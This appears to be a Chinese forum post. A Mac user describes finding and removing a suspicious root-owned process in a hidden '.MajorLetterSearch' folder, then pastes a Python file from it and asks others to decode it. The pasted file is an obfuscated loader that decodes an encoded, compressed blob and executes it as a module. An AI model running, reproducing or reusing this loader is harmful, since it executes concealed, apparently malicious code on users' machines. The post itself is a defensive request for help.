研究了一下,做了如下处理
- 查看进程发现执行目录在 /private/var/root/.MajorLetterSearch
- 查看[
https://stackoverflow.com/questions/34781463/how-to-remove-this-strange-folder-in-mac](
https://stackoverflow.com/questions/34781463/how-to-remove-this-strange-folder-in-mac)
- sudo su -进入 root 目录
- 更改文件权限或者直接删除,并在活动监视器中停止对应进程
其中一个是 python 文件,有无大佬可解读下,如下:
```
import base64, bz2
def decode(string):
key='FF04ABE0-2C53-55F1-9012-1A566F115473'.encode('utf-8')
string = base64.urlsafe_b64decode(string.encode('utf-8') + b'===')
dechars = []
for i in range(len(string)):
mc = key[i % len(key)]
dech = chr((ord(chr(string[i])) - ord(chr(mc)) + 256) % 256)
dechars.append(dech)
result = ''.join(dechars)
return result
def importLibrary(name, string):
import sys, imp
from types import ModuleType
print('lib name: ' + name)
mod = ModuleType(name)
sys.modules[name] = mod
exec(decode(bz2decode(string)), mod.__dict__)
def bz2decode(string):
result = bz2.decompress(base64.urlsafe_b64decode(string)).decode('utf-8')
return result
data = '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'
importLibrary('requestProcessor', data)
from requestProcessor import *
```